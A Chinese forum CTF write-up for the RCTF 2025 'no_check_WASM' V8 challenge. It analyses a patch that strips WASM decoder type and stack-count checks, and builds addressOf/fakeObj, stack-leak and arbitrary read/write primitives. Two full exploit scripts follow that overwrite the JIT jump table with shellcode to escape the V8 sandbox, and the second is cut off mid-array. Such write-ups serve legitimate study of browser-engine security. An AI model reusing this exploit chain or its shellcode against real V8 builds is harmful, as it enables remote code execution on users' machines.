首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
0
3
[原创] RCTF 2025 - no_check_WASM
发表于: 2025-11-18 10:08
13126
[原创] RCTF 2025 - no_check_WASM
flyyyy
6
2025-11-18 10:08
13126
# RCTF 2025 - no\_check\_WASM ## 目录 - [前言](#前言) - [基本信息](#基本信息) - [漏洞分析](#漏洞分析) - [触发漏洞路径](#触发漏洞路径) - [WASM函数签名数量混淆](#WASM函数签名数量混淆) - [WASM子系统类型混淆](#WASM子系统类型混淆) - [漏洞利用](#漏洞利用) - [沙箱内任意读写](#沙箱内任意读写) - [泄漏raw\_pointer](#泄漏raw_pointer) - [AAR && AAW && RCE](#AAR-AAW-RCE) - [exploit](#exploit) - [wasm-module-builder版本](#wasm-module-builder版本) - [ByteArray版本](#ByteArray版本) - [上传脚本](#上传脚本) # 前言 pwn2own 24过后,wasm子系统一直是v8漏洞挖掘的热点,这次出到wasm模块相关的内容,因此想着过来看一下,但是比赛的时候笔者有一个步骤卡住了,导致没构造出最后的逃逸原语,可惜可惜 赛后与@Tplus\@Qanux师傅交流了下,解决了自己卡住的地方,感谢两位师傅。 # 基本信息 编译参数是,默认开启沙箱 ```text dcheck_always_on = false is_debug = false target_cpu = "x64" ``` 题目下发的commit hash是42f5ff65d12f0ef9294fa7d3875feba938a81904  提交比较新,所以nday bypass的概率很低,就直接分析patch文件 看下文件上传逻辑,算一个hash,然后直接上传,文件大小<102400,应该是考虑到了wasm-module-builder.js的因素,所以这么大 注意这里的启动参数加了一个这个--no-memory-protection-keys,其实是为了防止intel cpu的pkey内存保护,简单的说就是构造出AAR和AAW之后,写一些内存页的时候会crash,详细的内容见这个[issue](<mark class="encrypted">870K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4M7X3!0#2M7s2y4Q4x3X3g2Y4L8$3!0Y4L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6Y4i4K6u0r3N6U0S2Q4x3X3c8J5k6i4k6A6k6i4N6K6i4K6u0r3j5#2)9J5c8Y4k6c8P5h3j5@1f1o6b7H3y4%4A6U0</mark> "issue") ```python import sys import os import hashlib def pow(): prefix = "rctf".encode() target = os.urandom(3).hex().encode() target_hash = hashlib.sha256(prefix + target).hexdigest() sys.stdout.write("=== Proof of Work Challenge ===\n") sys.stdout.write(f"Find a nonce such that SHA-256('{prefix.decode()}' + nonce) == {target_hash}\n") sys.stdout.write("nonce:") sys.stdout.flush() nonce = read_exactly(6).encode() data = prefix + nonce current_hash = hashlib.sha256(data).hexdigest() if current_hash == target_hash: sys.stdout.write("pow success!\n") sys.stdout.flush() return else: sys.stdout.write("pow failed!\n") sys.stdout.flush() exit(0) def read_exactly(n): result = [] remaining = n while remaining > 0: data = sys.stdin.read(remaining) if not data: break result.append(data) remaining -= len(data) return ''.join(result) pow() sys.stdout.write("script size:\n") sys.stdout.flush() size = int(sys.stdin.readline().strip()) if size > 102400: sys.stdout.write("too large!\n") sys.stdout.flush() sys.exit(1) sys.stdout.write("script:\n") sys.stdout.flush() script = read_exactly(size) with open(sys.argv[1], 'w') as f: f.write(script) os.system("/home/ctf/d8 --no-memory-protection-keys " + sys.argv[1]) ``` 环境搭建一下,方便本地调试 ```text git reset --hard 42f5ff65d12f0ef9294fa7d3875feba938a81904 gclient sync -D git apply < ./patch gn args out/x64.release ``` 修改编译参数为如下 ```text is_component_build = false is_debug = false target_cpu = "x64" v8_enable_sandbox = true v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true dcheck_always_on = false symbol_level = 2 ``` 接着`autoninja -C out/x64.release d8` 编译 # 漏洞分析 ## 触发漏洞路径 提取下patch内容 ```diff diff --git a/src/wasm/function-body-decoder-impl.h b/src/wasm/function-body-decoder-impl.h index b65ba5b9675..163fc536138 100644 --- a/src/wasm/function-body-decoder-impl.h +++ b/src/wasm/function-body-decoder-impl.h @@ -7878,27 +7878,27 @@ class WasmFullDecoder : public WasmDecoder<ValidationTag, decoding_mode> { // if the current code is reachable even if it is spec-only reachable. if (V8_LIKELY(decoding_mode == kConstantExpression || !control_.back().unreachable())) { - if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) { - this->DecodeError("expected %u elements on the stack for %s, found %u", - arity, merge_description, actual); - return false; - } - // Typecheck the topmost {merge->arity} values on the stack. - Value* stack_values = stack_.end() - arity; - for (uint32_t i = 0; i < arity; ++i) { - Value& val = stack_values[i]; - Value& old = (*merge)[i]; - if (!IsSubtypeOf(val.type, old.type, this->module_)) { - this->DecodeError("type error in %s[%u] (expected %s, got %s)", - merge_description, i, old.type.name().c_str(), - val.type.name().c_str()); - return false; - } - if constexpr (static_cast<bool>(rewrite_types)) { - // Upcast type on the stack to the target type of the label. - val.type = old.type; - } - } + // if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) { + // this->DecodeError("expected %u elements on the stack for %s, found %u", + // arity, merge_description, actual); + // return false; + // } + // // Typecheck the topmost {merge->arity} values on the stack. + // Value* stack_values = stack_.end() - arity; + // for (uint32_t i = 0; i < arity; ++i) { + // Value& val = stack_values[i]; + // Value& old = (*merge)[i]; + // if (!IsSubtypeOf(val.type, old.type, this->module_)) { + // this->DecodeError("type error in %s[%u] (expected %s, got %s)", + // merge_description, i, old.type.name().c_str(), + // val.type.name().c_str()); + // return false; + // } + // if constexpr (static_cast<bool>(rewrite_types)) { + // // Upcast type on the stack to the target type of the label. + // val.type = old.type; + // } + // } return true; } // Unreachable code validation starts here. ``` 主要patch的位置在WasmFullDecoder类里,这个类主要负责解析wasm函数体的内容,追下函数TypeCheckStackAgainstMerge\_Slow,发现是一个slow path的函数,所以大概率还有fast path判断的逻辑 找到了上层函数,想要进入这slow path的话需要让栈值数量与函数签名不匹配,或者是一些复杂的函数 ```c++ template <StackElementsCountMode strict_count, PushBranchValues push_branch_values, MergeType merge_type, RewriteStackTypes rewrite_types> V8_INLINE bool TypeCheckStackAgainstMerge(Merge<Value>* merge) { uint32_t arity = merge->arity; uint32_t actual = stack_.size() - control_.back().stack_depth; // Handle trivial cases first. Arity 0 is the most common case. if (arity == 0 && (!strict_count || actual == 0)) return true; // Arity 1 is still common enough that we handle it separately (only doing // the most basic subtype check). if (arity == 1 && (strict_count ? actual == arity : actual >= arity)) { if (stack_.back().type == merge->vals.first.type) return true; } return TypeCheckStackAgainstMerge_Slow<strict_count, push_branch_values, merge_type, rewrite_types>(merge); } ``` 同时也需要注意到这个check是针对于merge point的检查,所以构造某些参数数量正常的函数的时候,需要采用特殊的branch ```c++ enum StackElementsCountMode : bool { kNonStrictCounting = false, kStrictCounting = true }; enum MergeType { kBranchMerge, kReturnMerge, kFallthroughMerge, kInitExprMerge }; enum class PushBranchValues : bool { kNo = false, kYes = true, }; enum class RewriteStackTypes : bool { kNo = false, kYes = true, }; // - If the current code is reachable, check if the current stack values are // compatible with {merge} based on their number and types. If // {strict_count}, check that #(stack elements) == {merge->arity}, otherwise // #(stack elements) >= {merge->arity}. // - If the current code is unreachable, check if any values that may exist on // top of the stack are compatible with {merge}. If {push_branch_values}, // push back to the stack values based on the type of {merge} (this is // needed for conditional branches due to their typing rules, and // fallthroughs so that the outer control finds the expected values on the // stack). TODO(manoskouk): We expect the unreachable-code behavior to // change, either due to relaxation of dead code verification, or the // introduction of subtyping. ``` 那么这里就可以简单构建一个poc,下一个断点来测试一下是否能抵达这个位置 ```javascript var wasm_mode = 1; if(wasm_mode){ prefix = "../../"; path = "test/mjsunit/wasm/wasm-module-builder.js"; d8.file.execute(prefix + path); } builder.addFunction("poc", makeSig([], [kWasmI32,kWasmI32,kWasmI32])) .exportFunc() .addBody([ ]); const instance = builder.instantiate(); let {poc} = instance.exports; poc(); ``` 其实是可以的  当前的栈回溯(部分 ```text pwndbg> bt #0 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::TypeCheckStackAgainstMerge_Slow<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::PushBranchValues)0, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::RewriteStackTypes)0> (this=0x7ffd209c0b90, merge=0x2bbc00ea5168) at ../../src/wasm/function-body-decoder-impl.h:7879 #1 0x00006344fcec439a in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::TypeCheckStackAgainstMerge<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::PushBranchValues)0, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::RewriteStackTypes)0> (this=0x7ffd209c0b90, merge=0x2bbc00ea5101) at ../../src/wasm/function-body-decoder-impl.h:7860 #2 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DoReturn<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2> (this=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:7935 #3 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeEndImpl (this=0x7ffd209c0b90, opcode=<optimized out>, trace_msg=<optimized out>) at ../../src/wasm/function-body-decoder-impl.h:4036 #4 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeEnd (decoder=0x7ffd209c0b90, opcode=<optimized out>) at ../../src/wasm/function-body-decoder-impl.h:3943 #5 0x00006344fcec289b in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeFunctionBody (this=this@entry=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:3287 #6 0x00006344fcec0a24 in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::Decode (this=this@entry=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:3110 #7 0x00006344fcec06df in v8::internal::wasm::ValidateFunctionBody (zone=zone@entry=0x7ffd209c0d20, enabled=..., module=<optimized out>, detected=detected@entry=0x7ffd209c0dd0, body=...) at ../../src/wasm/function-body-decoder.cc:80 #8 0x00006344fcf020b6 in v8::internal::wasm::(anonymous namespace)::ValidateFunctionsTask::ValidateFunction (this=0x2bbc0000c230, func_index=0, zone=0x7ffd209c0d20, detected_features=0x7ffd209c0dd0) at ../../src/wasm/module-decoder.cc:582 #9 v8::internal::wasm::(anonymous namespace)::ValidateFunctionsTask::Run (this=0x2bbc0000c230, delegate=0x7ffd209c0e20) at ../../src/wasm/module-decoder.cc:558 #10 0x00006344fdc0ae16 in v8::platform::DefaultJobState::Join (this=0x2bbc0004ac88) at ../../src/libplatform/default-job.cc:141 #11 0x00006344fdc0b2c3 in v8::platform::DefaultJobHandle::Join (this=0x2bbc0000ad80) at ../../src/libplatform/default-job.cc:231 #12 0x00006344fcef30b0 in v8::internal::wasm::ValidateFunctions(v8::internal::wasm::WasmModule const*, v8::internal::wasm::WasmEnabledFeatures, v8::base::Vector<unsigned char const>, std::__Cr::function<bool (int)>, v8::internal::wasm::WasmDetectedFeatures*) (module=module@entry=0x2bbc00064398, enabled_features=..., wire_bytes=..., filter=..., detected_features_out=0x7ffd209c0f48) at ../../src/wasm/module-decoder.cc:660 #13 0x00006344fcee987b in v8::internal::wasm::(anonymous namespace)::ValidateFunctions (module=0x2bbc00064398, wire_bytes=..., enabled_features=..., only_lazy_functions=<optimized out>, detected_features=0x7ffd209c0f48) at ../../src/wasm/module-compiler.cc:2192 #14 v8::internal::wasm::(anonymous namespace)::ValidateFunctions (native_module=..., only_lazy_functions=<optimized out>) at ../../src/wasm/module-compiler.cc:2200 #15 0x00006344fcee5050 in v8::internal::wasm::(anonymous namespace)::CompileNativeModule (thrower=0x7ffd209c1368, native_module=..., pgo_info=<optimized out>) at ../../src/wasm/module-compiler.cc:2232 #16 v8::internal::wasm::(anonymous namespace)::GetOrCompileNewNativeModule (isolate=0x2bbc00184000, enabled_features=..., detected_features=..., compile_imports=..., thrower=0x7ffd209c1368, compilation_id=<optimized out>, module=..., wire_bytes=..., context_id=..., pgo_info=<optimized out>) at ../../src/wasm/module-compiler.cc:2340 #17 v8::internal::wasm::CompileToNativeModule (isolate=isolate@entry=0x2bbc00184000, enabled_features=..., detected_features=..., compile_imports=..., thrower=thrower@entry=0x7ffd209c1368, module=..., wire_bytes=..., compilation_id=0, context_id=..., pgo_info=0x0) at ../../src/wasm/module-compiler.cc:2381 #18 0x00006344fcf40ce2 in v8::internal::wasm::WasmEngine::SyncCompile (this=0x2bbc00114118, isolate=0x2bbc00184000, enabled_features=..., compile_imports=..., thrower=0x7ffd209c1368, bytes=...) at ../../src/wasm/wasm-engine.cc:709 #19 0x00006344fcf5a158 in v8::(anonymous namespace)::WebAssemblyModuleImpl (info=...) at ../../src/wasm/wasm-js.cc:879 #20 v8::internal::wasm::WebAssemblyModule (info=...) at ../../src/wasm/wasm-js.cc:3074 #21 0x00006344fc45418f in v8::internal::FunctionCallbackArguments::CallOrConstruct (this=this@entry=0x7ffd209c14e8, function=..., is_construct=<optimized out>) at ../../src/api/api-arguments-inl.h:93 #22 0x00006344fc4538eb in v8::internal::(anonymous namespace)::HandleApiCallHelper<true> (isolate=isolate@entry=0x2bbc00184000, new_target=..., fun_data=..., receiver=..., argv=argv@entry=0x7ffd209c1610, argc=argc@entry=2) at ../../src/builtins/builtins-api.cc:105 #23 0x00006344fc452ffb in v8::internal::Builtin_Impl_HandleApiConstruct (args=..., isolate=0x2bbc00184000) at ../../src/builtins/builtins-api.cc:136 #24 0x00006344fdaac4f6 in Builtins_CEntry_Return1_ArgvOnStack_BuiltinExit () #25 0x00006344fda0006a in Builtins_InterpreterPushArgsThenFastConstructFunction () ``` 那我们的推测是没问题的,构造一个wasm stack的值数量与实际函数签名不符合的情况/或者是一个比较复杂的函数,可以进入到被patch的函数,接着来看patch掉了什么逻辑 ## WASM函数签名数量混淆 首先被patch掉的是对于wasm stack的值数量与实际函数签名不相等,意味着可以去传递多个参数,也就是说可以通过传递多个返回值的方法去泄漏wasm stack上的内容,泄漏出的值大概率是v8沙箱之外的,这个也可以算上是沙箱逃逸的第一步了 ```c++ if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) { this->DecodeError("expected %u elements on the stack for %s, found %u", arity, merge_description, actual); return false; } ``` ## WASM子系统类型混淆 下发会调用IsSubtypeOf对于stack\_values进行类型检查,如果不符合则会报错,详细的实现位于v8/src/wasm/wasm-subtyping.cc:L421 ```c++ // Typecheck the topmost {merge->arity} values on the stack. Value* stack_values = stack_.end() - arity; for (uint32_t i = 0; i < arity; ++i) { Value& val = stack_values[i]; Value& old = (*merge)[i]; if (!IsSubtypeOf(val.type, old.type, this->module_)) { this->DecodeError("type error in %s[%u] (expected %s, got %s)", merge_description, i, old.type.name().c_str(), val.type.name().c_str()); return false; } if constexpr (static_cast<bool>(rewrite_types)) { // Upcast type on the stack to the target type of the label. val.type = old.type; } } ``` 这里的意思是wasm子类型检查被删去,因此可以实现类似于这样的类型混淆i64→struct。wasm的设计文档其实有很多,这里只是举了一个简单的例子,因此不难想到一些类型混淆的思路,下方的extern可以理解为js中的对象,struct可以通过get和set方式进行取值,也就是类似于指针解引的过程 ```text addressof: extern → i32 fakeobj: i32 ->extern AAR: i64 -> struct AAW: struct -> i64 ``` 其中AAR和AAW笔者比赛的时候犯了一个错误,在一个函数体中,直接将i64 cast为ref struct,然后直接解引用,这就造成了问题。 当对于一个struct类型进行kExprStructSet或者kExprStructGet操作的时候,会去检查底层的heaptype,因此当直接传入一个i64的值,不进行先进行类型混淆,而是直接cast使用就会造成问题。本质上就是触发了struct.get/set的检查,也并不是对于patch的利用,铸币了 ```c++ V8_INLINE Value Pop(int index, ValueType expected) { Value value = Pop(); ValidateStackValue(index, value, expected); return value; } V8_INLINE void ValidateStackValue(int index, Value value, ValueType expected) { if (!VALIDATE(IsSubtypeOf(value.type, expected, this->module_) || value.type == kWasmBottom || expected == kWasmBottom)) { PopTypeError(index, value, expected); } } ``` 而如果提前进行混淆,采用将i64转换成ref struct的方式,这会进入到这个函数 ```c++ DECODE(CallFunction) { CallFunctionImmediate imm(this, this->pc_ + 1, validate); if (!this->Validate(this->pc_ + 1, imm)) return 0; PoppedArgVector args = PopArgs(imm.sig); Value* returns = PushReturns(imm.sig);// <- CALL_INTERFACE_IF_OK_AND_REACHABLE(CallDirect, imm, args.data(), returns); MarkMightThrow(); return 1 + imm.length; } ``` 产生如下的调用链,将原本的i64标记为ref struct,因此后续利用的时候可以将这个i64接引,造成沙箱逃逸 ```text kExprCallFunction DECODE(CallFunction) PushReturns PushValueTypes Push(ValueType) CreateValue Push(Value) ``` # 漏洞利用 ## 沙箱内任意读写 这里用到上面提到的思路,当然下方也可以采用i64,这样也方便泄漏出cage\_base,也可以通过泄漏indirectcall的函数ref,思路很多 ```text addressof: extern → i32 fakeobj: i32 ->extern ``` 下方就是addressOf和fakeObj的原语,然后leak\_cage\_base的逻辑其实和addressOf是一致的,leak\_cage\_base主要是这里没有截断高32位,所以可以泄漏出沙箱的基地址 ```javascript // addressOf builder.addFunction("addressOf", makeSig([kWasmExternRef], [kWasmI32])) .exportFunc() .addBody([ kExprLocalGet, 0, kExprBlock, kWasmI32, kExprBr, 0, kExprEnd, ]); // fakeObj builder.addFunction("fakeObj", makeSig([kWasmI32], [kWasmExternRef])) .exportFunc() .addBody([ kExprBlock, 0x40, kExprLocalGet, 0, kExprReturn, kExprEnd, kExprUnreachable, ]); builder.addFunction("leak_cage_base", makeSig([kWasmExternRef], [kWasmI64])) .exportFunc() .addBody([ kExprLocalGet, 0, kExprBlock, kWasmI64, kExprBr, 0, kExprEnd, ]); ``` ## 泄漏raw\_pointer 通过上方的分析,其实我们可以通过参数不匹配的方式去泄漏wasm stack的值,所以这里可以尝试一下能泄漏出什么东西 ```javascript builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64])) .exportFunc() .addBody([ kExprI64Const, 0, ]); ```  这里泄漏出了 raw pointer(64-bit C++ 栈地址),通过扫描这个栈区域,可以找到 - JIT 代码的返回地址 - 指向 trusted space 的指针 - ………… ## AAR && AAW && RCE 与上方分析的一致,这里需要将i64 → struct → i64,这样就可以实现沙箱逃逸,需要注意的是i64 → struct最好单独拆开,写成一个wasm函数供另外的wasm函数调用,代码如下。 ```javascript const structType = builder.addStruct([makeField(kWasmI64, true)]); const cast_function = builder.addFunction("cast_i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)])) .addBody([ kExprLocalGet, 0, ]); builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64])) .exportFunc() .addBody([ kExprLocalGet, 0, kExprCallFunction, cast_function.index, kGCPrefix, kExprStructGet, ...wasmUnsignedLeb(structType, kMaxVarInt32Size), ...wasmUnsignedLeb(0, kMaxVarInt32Size), ]); builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], [])) .exportFunc() .addBody([ kExprLocalGet, 0, kExprCallFunction, cast_function.index, kExprLocalGet, 1, kGCPrefix, kExprStructSet, ...wasmUnsignedLeb(structType, kMaxVarInt32Size), ...wasmUnsignedLeb(0, kMaxVarInt32Size), ]); ``` 接着就可以对于泄漏出的栈地址进行扫描,经过测试,可以发现第一个泄露出来的地址位于jit code所在的段,后续计算也发现与trusted\_data中的jump\_table偏移固定,因此我们可以得到jump\_table的具体地址,并修改为我们的shellcode,出于稳定性的考虑,可以在前面加上一个nop指令即可 这里泄漏出来的值与栈偏移处的值并不相等,原因应该是当i64被cast成struct的时候,底层的heaptype等字段被修改,因此实际转换成struct进行取值的时候,会略微有偏差(通过以前阅读src/wasm/*的推测,这次并没有通过源码验证)  # exploit ## wasm-module-builder版本 ```javascript var wasm_mode = 1; if(wasm_mode){ prefix = "../../"; path = "test/mjsunit/wasm/wasm-module-builder.js"; d8.file.execute(prefix + path); } var buf = new ArrayBuffer(8); var f32 = new Float32Array(buf); var f64 = new Float64Array(buf); var u8 = new Uint8Array(buf); var u16 = new Uint16Array(buf); var u32 = new Uint32Array(buf); var u64 = new BigUint64Array(buf); function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0]; } function f64_to_u32l(val){ f64[0] = val; return u32[0]; } function f64_to_u32h(val){ f64[0] = val; return u32[1]; } function f64_to_u64(val){ f64[0] = val; return u64[0]; } function u64_to_f64(val){ u64[0] = val; return f64[0]; } function u64_to_u32_lo(val){ u64[0] = val; return u32[0]; } function u64_to_u32_hi(val){ u64[0] = val; return u32[1]; } // function stop(){ // console.log("stop..."); // %SystemBreak(); // } // function p(arg){ // %DebugPrint(arg); // } function spin(){ console.log("spin..."); while(true){}; } function stuck(){ console.log("readline...."); readline(); } function hex(str){ return str.toString(16).padStart(16,0); } function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val)); } const builder = new WasmModuleBuilder(); // addressOf builder.addFunction("addressOf", makeSig([kWasmExternRef], [kWasmI32])) .exportFunc() .addBody([ kExprLocalGet, 0, kExprBlock, kWasmI32, kExprBr, 0, kExprEnd, ]); // fakeObj builder.addFunction("fakeObj", makeSig([kWasmI32], [kWasmExternRef])) .exportFunc() .addBody([ kExprBlock, 0x40, kExprLocalGet, 0, kExprReturn, kExprEnd, kExprUnreachable, ]); builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64])) .exportFunc() .addBody([ kExprI64Const, 0, ]); const structType = builder.addStruct([makeField(kWasmI64, true)]); const cast_function = builder.addFunction("cast_i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)])) .addBody([ kExprLocalGet, 0, ]); builder.addFunction("leak_cage_base", makeSig([kWasmExternRef], [kWasmI64])) .exportFunc() .addBody([ kExprLocalGet, 0, kExprBlock, kWasmI64, kExprBr, 0, kExprEnd, ]); builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64])) .exportFunc() .addBody([ kExprLocalGet, 0, kExprCallFunction, cast_function.index, kGCPrefix, kExprStructGet, ...wasmUnsignedLeb(structType, kMaxVarInt32Size), ...wasmUnsignedLeb(0, kMaxVarInt32Size), ]); builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], [])) .exportFunc() .addBody([ kExprLocalGet, 0, kExprCallFunction, cast_function.index, kExprLocalGet, 1, kGCPrefix, kExprStructSet, ...wasmUnsignedLeb(structType, kMaxVarInt32Size), ...wasmUnsignedLeb(0, kMaxVarInt32Size), ]); const instance = builder.instantiate(); let {addressOf, fakeObj, leak_stack, leak_cage_base, AAR, AAW} = instance.exports; let stack_addr = leak_stack(); for(let i = 0; i < stack_addr.length; i++){ logg("stack_addr["+i+"]", stack_addr[i]); } stack_value = stack_addr[0] << 32n | stack_addr[1]; logg("stack_value", stack_value); // for(let i = 0; i < 10; i++){ // let test = AAR(stack_value+1n+BigInt(i*0x8)); // logg("test", test); // } let jit_code_addr = AAR(stack_value+1n); let cage_base = leak_cage_base(instance) & ~0xffffffffn; logg("cage_base", cage_base); logg("jit_code_addr", jit_code_addr); const wasm_bytes = new Uint8Array([ 0,97,115,109,1,0,0,0,1,5,1,96,1,126,0,3,2,1,0,7,7,1,3,112,119,110,0,0,10,81,1,79,0,66,200,146,158,142,163,154,228,245,2,66,234,132,196,177,143,139,228,245,2,66,143,138,160,202,232,152,228,245,2,66,234,200,197,145,157,200,214,245,2,66,234,130,252,130,137,146,228,245,2,66,234,208,192,132,137,146,228,245,2,66,216,158,148,128,137,146,228,245,2,26,26,26,26,26,26,26,11,0,13,4,110,97,109,101,1,6,1,0,3,112,119,110 ]); const mod = new WebAssembly.Module(wasm_bytes); const instance_shellcode = new WebAssembly.Instance(mod); const pwn = instance_shellcode.exports.pwn; let offset_to_jit = 0x2959n; let rop_addr = jit_code_addr+offset_to_jit; // p(instance_shellcode); logg("rop_addr", rop_addr); var shellcode = [ 10416984888683040912n, 10416984888683040912n, 10416984888683040912n, 10416984888683040912n, 72340172838123592n, 7521907171660923137n, 302101820911791727n, 17740191518968858660n, 21732277098n ]; // var shellcode = [ // 0x4141414141414141n, // 0x4141414141414141n, // ];q pwn(0x1n); for(let i = 0; i < shellcode.length; i++){ AAW(jit_code_addr+offset_to_jit+BigInt(i*0x8)+1n-0x8n, shellcode[i]); } // stop(); pwn(0x1n); // spin(); ``` ## ByteArray版本 ```javascript var wasm_mode = 0; if(wasm_mode){ prefix = "../../"; path = "test/mjsunit/wasm/wasm-module-builder.js"; d8.file.execute(prefix + path); } var buf = new ArrayBuffer(8); var f32 = new Float32Array(buf); var f64 = new Float64Array(buf); var u8 = new Uint8Array(buf); var u16 = new Uint16Array(buf); var u32 = new Uint32Array(buf); var u64 = new BigUint64Array(buf); function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0]; } function f64_to_u32l(val){ f64[0] = val; return u32[0]; } function f64_to_u32h(val){ f64[0] = val; return u32[1]; } function f64_to_u64(val){ f64[0] = val; return u64[0]; } function u64_to_f64(val){ u64[0] = val; return f64[0]; } function u64_to_u32_lo(val){ u64[0] = val; return u32[0]; } function u64_to_u32_hi(val){ u64[0] = val; return u32[1]; } // function stop(){ // console.log("stop..."); // %SystemBreak(); // } // function p(arg){ // %DebugPrint(arg); // } function spin(){ console.log("spin..."); while(true){}; } function stuck(){ console.log("readline...."); readline(); } function hex(str){ return str.toString(16).padStart(16,0); } function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val)); } const bytes_arr_1 = new Uint8Array([ 0,97,115,109,1,0,0,0,1,44,8,96,1,111,1,127,96,1,127,1,111,96,0,3,126,126,126,80,0,95,1,126,1,96,1,126,1,100,3,96,1,111,1,126,96,1,126,1,126,96,2,126,126,0,3,8,7,0,1,2,4,5,6,7,7,65,6,9,97,100,100,114,101,115,115,79,102,0,0,7,102,97,107,101,79,98,106,0,1,10,108,101,97,107,95,115,116,97,99,107,0,2,14,108,101,97,107,95,99,97,103,101,95,98,97,115,101,0,4,3,65,65,82,0,5,3,65,65,87,0,6,10,65,7,9,0,32,0,2,127,12,0,11,11,9,0,2,64,32,0,15,11,0,11,4,0,66,0,11,4,0,32,0,11,9,0,32,0,2,126,12,0,11,11,10,0,32,0,16,3,251,2,3,0,11,12,0,32,0,16,3,32,1,251,5,3,0,11,0,86,4,110,97,109,101,1,79,7,0,9,97,100,100,114,101,115,115,79,102,1,7,102,97,107,101,79,98,106,2,10,108,101,97,107,95,115,116,97,99,107,3,18,99,97,115,116,95,105,54,52,95,116,111,95,115,116,114,117,99,116,4,14,108,101,97,107,95,99,97,103,101,95,98,97,115,101,5,3,65,65,82,6,3,65,65,87 ]); const m = new WebAssembly.Module(bytes_arr_1); const primitive_instance = new WebAssembly.Instance(m); let {addressOf, fakeObj, leak_stack, leak_cage_base, AAR, AAW} = primitive_instance.exports; let stack_addr = leak_stack(); for(let i = 0; i < stack_addr.length; i++){ logg("stack_addr["+i+"]", stack_addr[i]); } stack_value = stack_addr[0] << 32n | stack_addr[1]; logg("stack_value", stack_value); // for(let i = 0; i < 10; i++){ // let test = AAR(stack_value+1n+BigInt(i*0x8)); // logg("test", test); // } let jit_code_addr = AAR(stack_value+1n); let cage_base = leak_cage_base(primitive_instance) & ~0xffffffffn; logg("cage_base", cage_base); logg("jit_code_addr", jit_code_addr); const wasm_bytes = new Uint8Array([ 